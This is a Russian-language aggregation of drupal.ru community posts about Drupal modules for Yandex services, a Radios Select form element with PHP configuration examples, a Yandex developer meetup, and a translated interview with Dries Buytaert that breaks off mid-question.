– Страница ввода API ключа.
– Функции вывода JavaScript карт.

Яндекс.Карты Field – поле с виджетом и форматтерами вывода.
– Создание меток, линий и областей с помощью Яндекс.Карты с возможностью указывать свои параметры для каждого объекта.
– Вывод созданных объектов также на Яндекс.Карте.

Яндекс.Карты Views – плагин стиля для Views.
– Возможность выбирать откуда берутся данные (простые поля / поле Я.Карт / поле Geolocation / есть еще?).
– Можно задавать стиль выводимых меток, а также поле для заголовка и поля для содержимого балона.

Яндекс.Карты OpenLayers – дополнение к OpenLayers.
Всех интересует. Добавил опрос.

Статус: модуль еще в разработке, не устаналивать на рабочие сайты
Демо: http://ymaps.drupal.name/
Репка: https://github.com/elaman/ymaps

Спонсоры:
 alvaxet
 P.Selfin
 vitg
 mag-alliance

Для спонсоров:
R362788674404
Z560685602155
другие можно узнать у меня

Багрепорты, предложения и прочее обязательны.

Текущее состояние модуля:

- Модуль Яндекс.Карты Field еще не доделан. Для добавления меток стоит модуль  Geolocation.
- Модуль Яндекс.Карты Views вполне рабочий и вывод уже добавленных меток через Views на демо-сайте. В балуне выводится заголовок, описание и поле модуля  Fivestar

Attached poll “Нужен ли вывод Яндекс.Карт через OpenLayers?”.
Register or login to poll
Results:
Нужен: 20 голосов
Не нужен: 3 голоса
Без разницы: 9 голосов
Нельзя: 0 голосов

Источник: http://www.drupal.ru/node/76858

Модуль интеграции Drupal 7 со сторонними сервисами

Доброй ночи, друзья. Меня зовут, Анатолий. г. Вологда, компания Синапс.
Мы занимаемся созданием сайтов и другими интересными вещами.
Сайты делаем исключительно на друпале, и чаще всего это сайты корпоративных клиентов с соответствующей спецификой.
У нас есть ряд разработок, которыми хочется поделится с сообществом.

Зачем делиться:
- для себя: чтобы структурировать код и сделать таки review
- чтобы быстрее отлавливать баги
- чтобы подсказали как лучше
- чтобы друпал стал более распространен и появлялись новые решения на этой системе

Делиться будем следующими модулями:
- Модуль интеграции друпала со сторонними сервисами (в первую очередь с яндексом)
- Модуль для отображения объекта на яндекс картах
- Модуль view_yamap для интеграции предыдущего модуля с вьювсом

Итак. Первый модуль – synapse. (Остальные чуть позже)
Это модуль сделан для наших внутренних нужд. Он нужен для того, чтобы клиенты не дергали проджектменеджеров лишними вопросами, а проджектменеджеры соответственно не дергали лишними вопросами программистов.

Поскольку делася для себя, то он так и называется “synapse”. Но по счастливой случайности такое название прекрасно совпадает с функционалом модуля, поэтому переименовывать его не будем. Википедия нам подсказывает:
Си́напс — место контакта между двумя нейронами или между нейроном и получающей сигнал эффекторной клеткой. Служит для передачи нервного импульса между двумя клетками.

Посколку внизу длинная простыня скриншетов, чтобы не томить сразу ссылки:
- модуль synapse.zip
- проект в песочнице друпал.орг

Что делает модуль:
1. Изменяет страницу добавления материала
2. Дружит сайт с гул/яндекс вебмастером
3. Добавляет на сайт яндекс-метрику
4. Отображает яндекс-карту на странице с контактами
5. Размещает информацию о компании в формате hCard
6. Позволяет быстро добавить вконтактогруппу и магазин на еквиде
7. Менять автоматически год создания сайта в подвале

По пунктам 0. Меняет значения по умолчанию

Меняет значения по умолчанию на странице добавления типа материала (admin/structure/types/add):

Чистим поле “название поля заголовка”, чтобы программисты не забывали поставить человечное “название альбома”, вместо бездушного “Title” В настройках публикации вместо галочки “на главную” ставим галочку “создавать редакции” Убираем галочку “показывать автора и дату”, т.к. в корпоративных сайтах это нужно только у “новостей” Снимаем галочку в “настройках меню” т.к. у корпоративных сайтов это нужно только у “страниц” 1. Страница добавления материала


Страница добавления материала для клиента не должна содержать “лишних” полей. Каждое лишнее поле – звонок менеджеру, поэтому:

Перемещаем меню из вертикальных табов в свернутый филдсет Включаем галочку “добавить в меню”, чтобы все “страницы” гарантировано попадали в меню Есть возможность выставить родительский пункт меню по умолчанию. Полезно при использовании на сайте горизонтального меню, т.к. (смотрим предыдущий пункт) все “страницы” у нас по умолчанию попадают сразу в меню, и оно может стать шире, чем предусмотрено дизайном. Прячем лишние для пользователя поля: вес меню, родительский пункт меню, информация о редакции Прячем поля “выбор формата ввода” для “body”.

Всё это естественно регулируется на странице настроек

2. гугл/яндекс вебмастер

Менеджер проекта (или клиент) может сам быстро добавить сайт в гугл/яндекс вебмастер, без обращения к программису

3. Яндекс-метрика

Менеджер проекта (или клиент) может добавить на сайт яндекс-метрику не обращаясь к программисту. При желании можно отобразить информер (картинка с кол-вом посетителей) – блок, который можно перетащить например в подвал. Для гугланалитика есть отдельный  модуль http://drupal.org/project/google_analytics

4.Контакты с яндекс-картой

Менеджер проекта (или клиент) может отобразить на странице контактов яндекс-карту с отметкой о местоположении организации не обращаясь к программисту.

5. hCard

hCard – это микроформат, который позволяет рассказать роботам о своей орагнизации. Его поддерживает яндекс, и обещает использовать эту информацию в яндекс-справочнике. Блок с этой информацией удобно разместить в подвале. Если заполнены координаты в настройках карты, то они также попадают в микроформат. Соотвественно если заполнено название организации, то оно отображается при клике на метку карты.
Сначала результат

Потом настройки

6. “еквид” и “vk_group”

Вкладочка “прочее” позволяет быстро добавить на сайт магазин “еквид” и “блок с группой вконтакте”

7. Модуль делает блок “копирайты”.

Модуль делает блок “копирайты” Данные для блока берет из названия орагинзции в hCard и поля “Year From” вкладки “прочее”. Результат полчаем в следующем в формате:
©2012 — %Название%
или
2011 — 2012 © %Название% (Если наступит следующий год).
© – ссылка на страницу логина (user) чтобы не уродовать сайт формой логина, и не заставлять пользователя вбивать “специальный” адрес в командную строку

Прикрепленный файл Размер Так выглядит добавление страницы для пользователя 27.12 кб Настройки полей для node_add 19.36 кб Добавление в вебмастер – настройки 19.17 кб Яндекс метрика – настройки 20.92 кб Яндекс карта – настройки 100.7 кб hcard – результат 6.64 кб hcard – настройки 64.01 кб Другие настройки 18.44 кб synapse.zip – модуль 10.95 кб

Источник: http://www.drupal.ru/node/76726

Модуль Яндекс.Погода для Drupal 6 и 7

Скачать модуль для Drupal 6: yandex_weather-6.x-1.1.zip
Скачать модуль для Drupal 7: yandex_weather-7.x-1.1.zip

На прошлой неделе на сайте drupal.ru я увидел активное обсуждение топиков «Яндекс сервисы в одном проекте» и «Встреча по поддержке и продвижению Яндекс-сервисов в Drupal». В представленном списке существующих модулей для интеграции с сервисами Яндекса я не обнаружил модуля про погоду. Я доработал свой модуль, исправил ошибки, дописал дополнительный функционал и решил выложить на сайт для обсуждения сообществом.

Вот так выглядит блок с информером погоды от Яндекса в дефолтной теме.

В настройках блока можно:

указать город по умолчанию; разрешить/запретить отображать форму выбора города в блоке; выбирать размер информера.

Текстовые сообщения модуля написаны на английском языке и переведены на русский язык.

Если данный модуль вызовет интерес, то можно переписать его и для Drupal 7. Буду благодарен за любые конструктивные комментарии.

UPD 21.02.2012: Обновил модуль. На прошлой неделе Яндекс обновил свой сервис погоды, поэтому поломалась часть функциональности моего модуля. Сейчас исправил. А также сделал версию модуля под Drupal 7.

Скачать модуль для Drupal 6: yandex_weather-6.x-1.1.zip
Скачать модуль для Drupal 7: yandex_weather-7.x-1.1.zip

Прикрепленный файл Размер yandex_weather-6.x-1.1.zip 9.33 кб yandex_weather-7.x-1.1.zip 9.48 кб

Источник: http://www.drupal.ru/node/76316

Inner poll для Drupal 7. Прикрепляйте опросы к любому документу ;)

День добрый.

Портировал Inner poll для Drupal 7, для моего любимого www.drupal.ru. Прикрепляйте опросы к любому документу .

При портировании кое-где немного изменил логику и вывел количество воздержавшихся.
Поля в БД совместимы с версией для Drupal 6, только добавились новые индексы.
Перевод модуля содержится в архиве модуля.

Ищу тех кто поможет разместить модуль на drupal.org.

Особенности модуля

Все действия пользователей сохраняются без перезагрузки страницы (хмм, возможно, пора уже перестать считать AJAX фишкой); автор опроса может разрешить (или не разрешить) пользователям отменять свои голоса голоса; автор опроса может открывать/закрывать опрос, а так же устанавливать дату автоматического закрытия опроса; автор опроса может разрешить/запретить множественный выбор; автор опроса, если он не является модератором, может править вопрос опроса только до тех пор, пока в опросе нет ни одного голоса; автор опроса, если он не является модератором, может править ответ на вопрос только до тех пор, пока за этот ответ нет ни одного голоса; опрос может содержать до 999 вариантов ответа; пользователи не могут просматривать результаты опроса до тех пор пока не проголосуют, для неопределившихся с решением есть кнопка “Воздержаться”, после нажатия которой будут показаны результаты, но при этом пользователь потеряет возможность голосовать в этом опросе; администратор сайта может раздавать права на голосование, создание опросов, редактирование опросов, редактирование опросов даже в случае если в них уже есть голоса;

Пояснение к пунктам 5 и 6. Они нужны для того, чтобы авторы не вносили кардинальных изменений в опрос тогда, когда другие юзеры уже отдали в них свои голоса. Например, был опрос “Любите ли вы клубнику”, на который получены ответы “Да” — 95%, “Нет” — 5%, а затем ушлый автор сменил вопрос на “Смотрите ли вы порнографию”.

Примечания

Не стал прикручивать кэш, так как в кэш можно класть всю страницу сторонними средствами при необходимости (обработка AJAX живёт на своих URL). Не реализован файл тестов, если кто напишет, буду благодарен. Отсутствует шаблон вывода контента так как количество выводимых данных мало и многое можно темизировать с помощью *.css.

Загрузка

Ссылка: Inner poll для Drupal 7.

Источник: http://www.drupal.ru/node/74900

Встреча по поддержке и продвижению Яндекс-сервисов в Drupal

Продолжение комментария http://www.drupal.ru/node/74274?page=1#comment-435564
Компания Яндекс заинтересована в продвижении и повышении уровня интеграции своих сервисов с Drupal.
Предлагается провести встречу по вопросам разработки, встреча ориентирована преимущественно на разработчиков.
Яндекс интересует:

Время встречи – 24 января, вторник, 19 часов. Будет забронирована переговорная комната. Встреча будет проходить в офисе Яндекса Количество участников (сколько будет людей очно на встрече, сколько будет удаленно). Товарищи, желающие присутствовать удалённо – отпишитесь, пожалуйста, в комментариях.

Так же я считаю, что будет нелишним подготовить вопросы и предложения по использованию API

Очники:
http://www.drupal.ru/username/rxb
(?) http://www.drupal.ru/username/valeratal
(?) http://www.drupal.ru/username/marygold
http://www.drupal.ru/username/stalker-g2
+1 человек с Артёмом
http://www.drupal.ru/username/irbis
http://www.drupal.ru/username/axel
Те, кто будет приходить лично приходят на главный вход в офис Яндекса и говорят, что они на встречу с Друпал сообщестом. Гостей будет встречать Вадим Францев, руководитель группы маркетинга бизнес-решений, с 19-00 до 19-10 на главном ресепшене. Опаздавшие либо к секретарям обращаются и их проводят, либо звонят по телефону +7 495 739-70-00, добавочный 4234.
Переговорка “7.Холмов”

Илья Азаров
http://www.drupal.ru/username/byuro-piyavok

Заочники:
http://www.drupal.ru/username/gagaga
http://www.drupal.ru/username/fortis
http://www.drupal.ru/user/orb
http://www.drupal.ru/username/s-f
http://www.drupal.ru/username/andypost-drupalorg
http://www.drupal.ru/username/validoll
http://www.drupal.ru/username/konstantinkomelin-drupalorg
http://www.drupal.ru/username/restyler
http://www.drupal.ru/username/dd-85
http://www.drupal.ru/username/gde
http://www.drupal.ru/username/enemy
http://www.drupal.ru/username/scotty
http://www.drupal.ru/username/yexel
http://www.drupal.ru/username/cyber
http://www.drupal.ru/username/marygold
http://www.drupal.ru/username/seaji
http://www.drupal.ru/username/higor1968
http://www.drupal.ru/username/plazik
http://www.drupal.ru/username/aleks-84
http://www.drupal.ru/username/lomalkin
http://www.drupal.ru/username/insime
http://www.drupal.ru/username/eagle
http://www.drupal.ru/username/direqtor
http://www.drupal.ru/username/forest-run
http://www.drupal.ru/username/arcadaisb
http://www.drupal.ru/username/glu2006
http://www.drupal.ru/username/splash
Те, кто участвуют удаленно: в 19-10 по МСК должны зайти по адресу http://yandex.adobeconnect.com/drupal/ – здесь будет трансляция, а также чат (вопросы/ответы).

Хотят запись:
http://www.drupal.ru/username/enemy
http://www.drupal.ru/username/softovick
http://www.drupal.ru/username/mak-vardugin
http://www.drupal.ru/username/andruxa
http://www.drupal.ru/username/orion76
http://www.drupal.ru/username/saltan
http://www.drupal.ru/username/6run0

Будут вноситься коррективы

Источник: http://www.drupal.ru/node/74730

Яндекс сервисы в одном проекте

Предлагаю обсудить возможность объединить все Яндекс сервисы в одном проекте. На текущий момент на д.о. есть несколько различных модулей для интеграции с яндекс сервисами.

Поиск по сайту дал следующие результаты:

 Яндекс.маркет — 6.x.  Яндекс.маркет — 6.x и 7.x(dev). Яндекс.маркет — в песочнице.  Яндекс.видео — 7.x(dev) new!  Яндекс.метрика — 6.x и 7.x. Яндекс.метрика — в песочнице. Яндекс.вакансии — обсуждается.  Яндекс.новости — 6.x(dev) и 7.x(dev).  Яндекс.карты — 6.x(dev).  Яндекс.деньги — 5.x платёжный шлюз для уберкарт. Яндекс.сервер — в песочнице. Яндекс.поделиться — в песочнице. Яндекс.спеллер — в песочнице. Яндекс.почта — обсуждается. Яндекс.карты — почти готов. Яндекс.карты — во вложении.  Site verification — 6.x и 7.x. Яндекс.маркет — во вложении. Быстрый заказ — обсуждается. Яндекс.погода — во вложении.

Если что то забыл, поправьте.

Вот мои причины, для чтобы собрать все сервисы в один проект:

На данный момент большинство из этих модулей находятся «в стадии разработки», а многие попросту брошены без особых шансов получить стабильный релиз для D6 и D7. Я думаю ситуация измениться, если у проекта будет несколько разработчиков. Это поможет устранить дублирования проектов. Например, в приведённом списке представлено сразу 4 модуля для интеграции с Яндекс.маркет. Думаю, лучше всё таки будет объединить усилия. Помощь новым разработчикам. Несколько модулей находятся в песочницах из-за того, что некому сделать review кода. На д.о. яндекс мало кому интересен… Для многих яндекс сервисов интеграция с Друпалом полностью отсутствует. В том числе для самого главного, на мой взгляд сервиса — Яндекс.xml. Для одного общего проекта, легче найти спонсоров.

Attached poll “Нужно ли объединять все яндекс.модули в один проект?”.
Register or login to poll
Results:
Да: 43 голоса
Нет: 27 голосов

Источник: http://www.drupal.ru/node/74274

Вот такая штукенция получилась. Radios Select для Drupal 7.

История из разряда “Новая жизнь старых вещей”. Точнее – новая “шуба” для привычного элемента форм radios. Для тех случаев, когда элемент radios строится из модуля.

Собственно, началось всё с того, что искал способ отобразить в форме модуля некую таблицу символов с возможностью выбора любого одного символа. Символы должны быть достаточно крупные (шрифт где-то 18-20px). Для начала попытался приспособить обычный select, но не понравилось: во-первых, список слишком длинный и выбирать неудобно, а во-вторых, добиться единообразного отображения (размер шрифта, padding, выравнивание и т.д.) в разных браузерах оказалось совсем непросто.

В общем, нужно было искать более компактное решение, при котором таблица была бы именно таблицей. В процессе разных тестов случайно обнаружил, что метки (label) для элемента radios в большинстве браузеров обрабатывают клики как и родительский (связанный с меткой) сам radios-control (кружочек, по которому мы тыкаем мышкой). То есть – по клику на метку элемент устанавливается в состояние checked, как если б мы кликали на сам кружочек. Не бог весть какое открытие, но беглый поиск в гугле аналогичных развитых решений с использованием меток ничего не дал. И я приступил к работе.

После ряда тычков в неверных направлениях было выведено более-менее унифицированное и кроссбраузерное решение (CSS + jQuery). Я его назвал Radios Select. Вот оно, со скромной гордостью и удовлетворением представляю своё детище:

А вот что происходит по клику на элементе:

Код, формирующий вывод:

<?php
$values = preg_split('/[\s,\.]+/', ucwords('Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas sodales congue velit. Duis commodo interdum ipsum.'));

$form['rs_example_1']['radios_select_1'] = array(
  '#type'          => 'radios',
  '#title'         => t('Select word:'),
  '#default_value' => 1,
  '#options'       => $values,
  '#radios_select' => TRUE,     // enables Radios Select for this radios element
  '#description'   => t('Word to use in form.'),
);
?>

Собственно, Radios Select можно использовать не только, как таблицу символов, а для выбора любого значения: строки, числа. Родилась идея сделать модуль-хук, который бы темизировал элементы radios как Radios Select, если у элементов установлен соответствующий параметр, а иначе – выводил бы стандартный radios. В процессе работы над модулем элемент Radios Select “оброс” рядом параметров, позволяющих кастомизировать вывод этого псевдо-элемента (это действительно скорее псевдо-элемент, поскольку по факту строится обычный radios и последующая обработка в submit’е – типичная для radios).

Например, можно изменить свойства шрифта элемента:


<?php
$values = preg_split('/[\s,\.]+/', ucwords('Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas sodales congue velit. Duis commodo interdum ipsum.'));

$form['rs_example_2']['radios_select_2'] = array(
  '#type'          => 'radios',
  '#title'         => t('Select word:'),
  '#default_value' => 2,
  '#options'       => $values,
  '#radios_select' => TRUE,     // enables Radios Select for this radios element
  '#rs_attributes' => array(
    'label'         => array(
      'font'         => 'Times New Roman',  // this sets font family (same as in CSS way)
      'font_size'    => 1.4,              // this sets font size (in "units" units)
      'font_color'   => '#339933',        // this sets font color (same as in CSS way)
      'line_height'  => 2,                // this sets line height (in "units" units)
      'units'        => 'em',             // can be em or px (default: px)
    ),
  ),
  '#description'   => t('Word to use in form.'),
);
?>

А вот и вариант для искомой таблицы символов:


<?php
$values = array();
for ($i = 33; $i < 256; $i++) {
  $values[] = '&#' . $i . ';';
}
$values = array_combine($values, $values);

// Replace Soft Hyphen symbol (&#173;) by non-breaking space
// (this symbol produces row break in Firefox and Opera)
$values['&#173;'] = '&nbsp;';

$form['rs_example_3']['radios_select_3'] = array(
  '#type'          => 'radios',
  '#title'         => t('Select symbol:'),
  '#default_value' => '&#169;',
  '#options'       => $values,
  '#radios_select' => TRUE,     // enables Radios Select for this radios element
  '#rs_attributes' => array(
    'label'          => array(
      'width'          => 2,      // sets label width (in "units" units)
      'height'         => 2,      // sets label height (in "units" units)
      'line_height'    => 2,
      'padding_x'      => '3px',  // horizontal padding (we use px instead of units)
      'padding_y'      => '3px',  // vertical padding (we use px instead of units)
      'units'          => 'em',
    ),
  ),
  '#description'   => t('Symbol to use in form.'),
);
?>

Можно “подкрасить” оформление элемента (выбирается также светлая или тёмная стрелка):


<?php
$values = array_merge(range('A', 'Z'), range('a', 'z'));

$form['rs_example_4']['radios_select_4_1'] = array(
  '#type'          => 'radios',
  '#title'         => t('Select character:'),
  '#default_value' => 2,
  '#options'       => $values,
  '#radios_select' => TRUE,     // enables Radios Select for this radios element
  '#rs_attributes' => array(
    'element'        => array(
      'frame_color'    => '#d4d0c8', // this sets frame color
      'dark_arrow'     => TRUE,      // this sets dark arrow for this element
     ),
    'label'          => array(
      'width'          => 2,
      'height'         => 2,
      'padding_x'      => '3px',
      'padding_y'      => '3px',
      'units'          => 'em',
     ),
   ),
  '#description'   => t('Character to use in form.'),
);
?>

Или убрать фон выбранного элемента и объединить с селектором (так называемый hollow-режим):


<?php
$values = array_merge(range('A', 'Z'), range('a', 'z'));

$form['rs_example_4']['radios_select_4_2'] = array(
  '#type'          => 'radios',
  '#title'         => t('Select character:'),
  '#default_value' => 2,
  '#options'       => $values,
  '#radios_select' => TRUE,     // enables Radios Select for this radios element
  '#rs_attributes' => array(
    'element'         => array(
      'hollow'          => TRUE,   // this sets hollow mode
     ),
    'label'         => array(
      'width'           => 2,
      'height'          => 2,
      'padding_x'       => '3px',
      'padding_y'       => '3px',
      'units'           => 'em',
     ),
   ),
  '#description'   => t('Character to use in form.'),
);
?>

А можно и вставить картинки в селектор, причём выровнять по желанию – либо по верху (по умолчанию), либо по низу (как в этом примере):


<?php
$module_path = url(drupal_get_path('module', 'radios_select'));
$images_path = $module_path . '/examples/images/';

$values = array(
  '<img src="' . $images_path . 'image1.png" /><br />Some image 1',
  '<img src="' . $images_path . 'image2.png" /><br />Some image 2',
  '<img src="' . $images_path . 'image3.png" /><br />Some image 3',
  '<img src="' . $images_path . 'image1.png" /><br />Some image 4',
  '<img src="' . $images_path . 'image2.png" /><br />Some image 5',
  '<img src="' . $images_path . 'image3.png" /><br />Some image 6',
);

$form['rs_example_5']['radios_select_5_1'] = array(
  '#type'          => 'radios',
  '#title'         => t('Select image:'),
  '#default_value' => 0,
  '#options'       => $values,
  '#radios_select' => TRUE,     // enables Radios Select for this radios element
  '#rs_attributes' => array(
    'label'         => array(
      'valign'        => 'bottom', // this sets vertical alignment of labels to bottom
      'font_size'     => 12,
      'line_height'   => 14,
      'padding_x'     => 4,
      'padding_y'     => 4,
     ),
   ),
  '#description'   => t('Select horizontal or vertical image.'),
);
?>

Другой вариант с картинками – выравнивание “в ряд” с текстом метки (можно также задать произвольный vertical-align для изображения, как обычно в CSS, здесь, в примере – просто смещение от базовой линии):


<?php
$module_path = url(drupal_get_path('module', 'radios_select'));
$images_path = $module_path . '/examples/images/';

$values = array(
  '<img src="' . $images_path . 'ru.png" /> Russian Federation',
  '<img src="' . $images_path . 'us.png" /> USA',
  '<img src="' . $images_path . 'ca.png" /> Canada',
  '<img src="' . $images_path . 'fr.png" /> France',
  '<img src="' . $images_path . 'de.png" /> Germany',
  '<img src="' . $images_path . 'it.png" /> Italy',
  '<img src="' . $images_path . 'gb.png" /> United Kingdom',
  '<img src="' . $images_path . 'gr.png" /> Greece',
  '<img src="' . $images_path . 'tr.png" /> Turkey',
  '<img src="' . $images_path . 'ua.png" /> Ukraine',
  '<img src="' . $images_path . 'no.png" /> Norway',
);

$form['rs_example_5']['radios_select_5_2'] = array(
  '#type'          => 'radios',
  '#title'         => t('Select country:'),
  '#default_value' => 0,
  '#options'       => $values,
  '#radios_select' => TRUE,     // enables Radios Select for this radios element
  '#rs_attributes' => array(
    'label'         => array(
      'img_valign'    => '-4px',        // sets vertical alignment of images
      'nowrap'        => 'TRUE',        // disables word wrapping for text in labels
     ),
   ),
  '#description'   => t('Country from where you are.'),
);
?>

А можно упорядочить метки в колонки (любое количество колонок):

<?php
$module_path = url(drupal_get_path('module', 'radios_select'));
$images_path = $module_path . '/examples/images/';

$values = array(
  '<img src="' . $images_path . 'ru.png" /> Russian Federation',
  '<img src="' . $images_path . 'us.png" /> USA',
  '<img src="' . $images_path . 'ca.png" /> Canada',
  '<img src="' . $images_path . 'fr.png" /> France',
  '<img src="' . $images_path . 'de.png" /> Germany',
  '<img src="' . $images_path . 'it.png" /> Italy',
  '<img src="' . $images_path . 'gb.png" /> United Kingdom',
  '<img src="' . $images_path . 'gr.png" /> Greece',
  '<img src="' . $images_path . 'tr.png" /> Turkey',
  '<img src="' . $images_path . 'ua.png" /> Ukraine',
  '<img src="' . $images_path . 'no.png" /> Norway',
);

$form['rs_example_6']['radios_select_6'] = array(
  '#type'          => 'radios',
  '#title'         => t('Select country:'),
  '#default_value' => 0,
  '#options'       => $values,
  '#radios_select' => TRUE,     // enables Radios Select for this radios element
  '#rs_attributes' => array(
    'element'         => array(
      'columns'         => 4,       // this sets ordering by 4 columns
    ),
    'label'         => array(
      'img_valign'      => -4,      // px by default, so we can skip units
      'nowrap'          => 'TRUE',
     ),
   ),
  '#description'   => t('Country from where you are.'),
);
?>

Наконец, труъ-программисты могут полностью изменить вид Radios Select с помощью CSS (стили аттачатся “на лету”, при создании элемента):


<?php
$module_path = url(drupal_get_path('module', 'radios_select'));
$images_path = $module_path . '/examples/images/';

$values = array(
  '<img src="' . $images_path . 'ru.png" /> Russian Federation',
  '<img src="' . $images_path . 'us.png" /> USA',
  '<img src="' . $images_path . 'ca.png" /> Canada',
  '<img src="' . $images_path . 'fr.png" /> France',
  '<img src="' . $images_path . 'de.png" /> Germany',
  '<img src="' . $images_path . 'it.png" /> Italy',
  '<img src="' . $images_path . 'gb.png" /> United Kingdom',
  '<img src="' . $images_path . 'gr.png" /> Greece',
  '<img src="' . $images_path . 'tr.png" /> Turkey',
  '<img src="' . $images_path . 'ua.png" /> Ukraine',
  '<img src="' . $images_path . 'no.png" /> Norway',
);

$form['rs_example_7']['radios_select_7'] = array(
  '#type'          => 'radios',
  '#title'         => t('Select country:'),
  '#default_value' => 0,
  '#options'       => $values,
  '#radios_select' => TRUE,     // enables Radios Select for this radios element
  '#rs_attributes' => array(
    'element'         => array(
      'columns'         => 4,
      'css'             => array(
        'div.type-radios-current {background: #222 url("'. $images_path . 'custom_bg.png") bottom right no-repeat; border-color: #222 !important;}',
        'div.type-radios-current .inner {background: #a8a8a8;}',
        'div.type-radios-current label  {background: #ffc136 url("'. $images_path . 'custom_label_active.png") center center repeat-x !important; border: 1px solid #c35e22 !important; color: black;}',
        'div.rs_opened {background: #222 url("'. $images_path . 'custom_bg_active.png") bottom right no-repeat;}',
        'div.rs_opened .inner {background: none;}',
        'div.type-radios-select {background: #d0d0d0 url("'. $images_path . 'custom_select_bg.png") top center repeat-x !important; border-color: #222 !important;}',
        'div.type-radios-select label.selected {background: #ffc136 url("'. $images_path . 'custom_label_active.png") center center repeat-x !important; border: 1px solid #c35e22 !important; color: black;}',
        'div.type-radios-select label {background: #3a3a3a url("'. $images_path . 'custom_label.png") center center repeat-x !important; border: 1px solid #222 !important; color: white;}',
        'div.type-radios-select label:hover {background: #ffc136 url("'. $images_path . 'custom_label_active.png") center center repeat-x !important;}',
      ),
    ),
    'label'         => array(
      'img_valign'      => -4,
      'nowrap'          => 'TRUE',
     ),
   ),
  '#description'   => t('Country from where you are.'),
);
?>

Все эти примеры (рабочие и с исходным кодом) доступны из help’а модуля Radios Select (см. приложенный архив) по адресу: admin/help/radios_select

Internet Explorer.

В IE, как обычно, всё “не как у людей”. Начнём с того, что все “красивые” закругления в нём отсутствуют. Попытки прицепить JS-библиотеки типа PIE, curved-corner и пр. положительного результата не дали – эти надстройки ломают разметку inline-элементов.

Вторая проблема – IE единственный из браузеров, который не захотел “понимать” клики по меткам. Пришлось специально для него сделать эмуляцию клика по радиокнопке при клике на метке.

Ещё одна особенность конкретно IE6 – курсор почему-то не устанавливается в “hand” (pointer) при hover’е над метками, даже если явно указывать для него правило в CSS.

В общем, базовый функционал в IE всё же обеспечен (по крайней мере версии IE6, IE7, IE8 с Radios Select работают нормально). Но выглядит в нем всё чуть менее красиво.

Поведение при noscript.

При выключенном JS происходит следующее:

1. Скрывается контейнер выбранного (текущего) элемента – тот, который со стрелкой справа.

2. Делается видимым контейнер селектора (который содержит все элементы).

3. Становятся видимыми сами радиокнопки (слева от каждого элемента), таким образом пользователь может выбрать нужный пункт традиционным для radios образом – щёлкнув на элементе.

4. Таким образом, форматирование/оформление Radios Select в основном сохраняется, добавляются только input’ы.


Примечание: IE и здесь ведёт себя несколько отлично от других браузеров. При выключенном JS он не “признаёт” клики на вложенных в метку картинках (IMG) как клики на метке. Только если пользователь кликнул на текст метки или непосредственно на круглый элемент-радиокнопку.

Примечание: при выключенном JS input’ам присваивается свойство float: left (с тем, чтобы сохранить разметку и равные ширины при использовании колонок. Как следствие радиокнопка “уходит” с базовой линии контейнера и автоматически начинает позиционироваться от верха. Это в общем-то никак не сказывается на разных способах вывода элемента – за исключением, когда используется выравнивание по нижнему краю (как в примере с картинками выше). В этом случае кнопки будут расположены на разной высоте:

Желающие могут скачать и установить модуль. Модуль очень нуждается в тестировании под разными браузерами. Пока протестировано в GoogleChrome, Safari, Opera 11, Firefox 8, IE 6,7,8.

Если будете использовать/тестировать элемент под другими браузерами – просьба отписываться здесь о результатах (с указанием версии браузера).

Как бы и всё.

Скачать модуль Radios Select

Источник: http://www.drupal.ru/node/74267

Интервью Dries Buytaert сайту thinkdigit.com

Перевод интервью Dries Buytaert сайту thinkdigit.com:

В. Привет Дрис! Недавно прочитал, как вы упомянули в блоге, что “люди постоянно спрашивают, где найти хороших Drupal-программистов”, а вы отвечаете “не спрашивайте меня, я не знаю”. Мы часто слышим о Друпале. Правда ли платформа так недосягаема, что хороших специалистов почти не найти? Или же освоить ее достаточно просто, как вы думаете?

О. На самом деле, это хороший вопрос. Drupal часто используют для создания довольно сложных веб-сайтов, так что и устроен он несколько сложно. Это, так сказать, необходимое зло. Чтобы создавать сложные проекты корпоративного уровня, сложное программное обеспечение – необходимо. И это автоматически означает, что нужно преодолеть некоторую кривую обучения. И в то же время, с распространением Друпала, спрос на специалистов тоже растет и превышат существующее предложение. Так что, необходимо вовлечь в проект Drupal больше людей. Кроме того, для удовлетворения спроса нужно больше людей в учебных программах.
В общем, частично сложность в том, что сложна сама система, и частично – в том, что нужно больше обученных специалистов.

В. Многие заявляют, что они поиграли с Друпалом, но в итоге решили, что им приятнее другие платформы, такие как WordPress. Что вы им ответите и как планируете повысить применимость Друпала?

О. Drupal часто критикуют за то, что он немного сложнее в использовании, чем другие платформы. В то же время, как я уже сказал, Drupal используют там, где не используются другие проекты. Опять же, Enterprise-решения – отличный пример. И в то же время, мы понимаем, что это проблема и что ее можно решить. Так, если вы посмотрите, скажем, на Drupal 7, а это сейчас основная версия, то увидите, что наша работа, в основном, сосредоточена на повышении удобства для пользователя и юзабилити системы. Мы приложили немало сил, улучшили дизайн и архитектуру, чтобы сделать Drupal 7 проще в использовании. То же самое будет и с Drupal 8. В центре внимания по-прежнему останется юзабилити. Причем, не только юзабилити для пользователей, но и для разработчиков.

В. По-вашему, как лучше всего начать освоение Drupal? И есть ли планы ввести какую-нибудь систему сертификации через компанию Acquia?

О. Есть масса способов освоить Drupal. Можете обучаться платно, можете учиться иными способами. Можете учиться через участие сообществе Drupal, общаться с другими членами сообщества, учиться у них. Также есть много книг о Друпале. Наверное, более 40. В сети есть куча документации, есть видео. Вот такие разные способы изучать Друпал. Я считаю, если человек хочет изучать Drupal, у него должна быть такая возможность. А одна из прелестей open-source (Drupal) – это доступ к лучшим в мире специалистам. В сравнении с проприетарным ПО, ограничений нет. Нельзя стать экспертом с мировым именем по Sharepoint, если не работаешь в команде Sharepoint, если ты не сотрудник Microsoft. А с Друпалом действительно можно стать первым номером!

Что касается второй части вопроса про сертификацию – сейчас никакой Drupal-сертификации нет. После поездки в Индию, я понял, что многим людям сертификация нужна. Учитывая этот факт, и то, что Drupal ищет пути развития, в будущем, возможно, мы подумаем насчет сертификации.

В. Значит вы открыты для идеи программ сертификации?

О. Да я всегда был для нее открыт. Думаю, это хорошая идея. Но еще я думаю, что она хорошая только если будет хорошо реализована. Вот несколько примеров. Вот есть сертификация Cisco. Иметь такой сертификат значит очень многое. Получить его – очень сложно. Для такой сертификации я конечно открыт. С другой стороны, в некотором роде учеба в колледже – это тоже сертификация. Окончишь колледж – получишь сертификат. Так что, с академической точки зрения, я верю пользу сертификации. Но реализовать ее надо хорошо.

В. Может, посоветуете нашим читателям ресурсы, где можно найти ценную информацию о Drupal? Как вы уже упоминали, где-то есть бездонные кладези.

